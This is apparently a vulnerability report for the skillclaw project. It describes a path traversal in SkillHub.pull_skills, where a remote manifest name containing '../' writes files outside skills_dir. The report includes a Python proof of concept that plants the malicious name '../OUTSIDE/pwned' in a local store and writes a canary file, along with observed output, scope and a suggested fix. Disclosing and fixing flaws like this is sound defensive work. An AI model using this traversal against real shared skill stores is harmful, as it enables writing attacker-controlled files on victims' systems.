pull_skills` writes outside `skills_dir` when a remote manifest `name` contains `../

[EvolveAegis]

What

When SkillHub.pull_skills syncs from a shared object store, the per-skill local target is built with os.path.join(skills_dir, skill_name) at skillclaw/skill_hub.py:49 (in _skill_dir_for_root, reached via _resolve_pull_target_dir). skill_name is the name field read verbatim from the remote manifest.jsonl (_load_remote_manifest, line 286: manifest[name] = rec), and neither the join nor the caller normalizes or bounds the result. A manifest entry whose name contains ../ resolves outside skills_dir, and write_skill_bundle then writes the fetched bundle there. Seen at commit bf4dc2ee.

How to reproduce

Against the shipped local backend, with a malicious manifest planted at the store boundary (skill_hub.py imports evolve_server.core.skill_registry at module load — needed for the import to succeed, not on the pull path):

import json, os, tempfile
from skillclaw.skill_hub import SkillHub
from skillclaw.object_store import LocalObjectStore

nonce = "canary_" + os.urandom(8).hex()
root = tempfile.mkdtemp()
skills_dir = os.path.join(root, "victim", "skills"); os.makedirs(skills_dir)
store_root = os.path.join(root, "store"); os.makedirs(store_root)
mal_name = "../OUTSIDE/pwned"

store = LocalObjectStore(store_root)
store.put_object("default/manifest.jsonl",
                 (json.dumps({"name": mal_name, "category": "general"}) + "\n").encode())
store.put_object(f"default/skills/{mal_name}/SKILL.md", f"# canary\n{nonce}\n".encode())

hub = SkillHub(backend="local", endpoint="", bucket="", access_key_id="",
               secret_access_key="", local_root=store_root, group_id="default")
print(hub.pull_skills(skills_dir, mirror=False))

escaped = os.path.realpath(os.path.join(skills_dir, mal_name, "SKILL.md"))
print("canary outside skills_dir:", os.path.isfile(escaped), nonce in open(escaped).read())

Observed at commit bf4dc2ee, mirror=False (nonce differs per run):

{'downloaded': 1, 'skipped': 0, 'deleted': 0, 'total_remote': 1, 'restored_from_backup': False, 'backup_dir': ''}
canary outside skills_dir: True True

SKILL.md lands at <victim>/OUTSIDE/pwned/SKILL.md, a sibling of skills_dir.

Impact / scope

The write target and the bytes written are both remote-supplied, so a malicious manifest entry yields a file write of attacker-controlled content to a path outside the intended skills root. This needs control of the remote manifest/object store — a compromised or untrusted shared hub, a poisoned multi-tenant bucket, or an unauthenticated endpoint. Skill sharing is opt-in (a backend must be configured to enable it). I confirmed the escape and the write on the incremental mirror=False path; I did not separately confirm persistence on the default mirror=True path, and I'm not claiming code execution — only the out-of-root write. The category field feeds the same join at line 48 (hermes layout) and is likewise unguarded.

Suggested change

Bound the resolved target to skills_dir before writing: resolve os.path.realpath(target) and verify it equals or sits under os.path.realpath(skills_dir), and reject name/category containing separators or ... Happy to open a PR.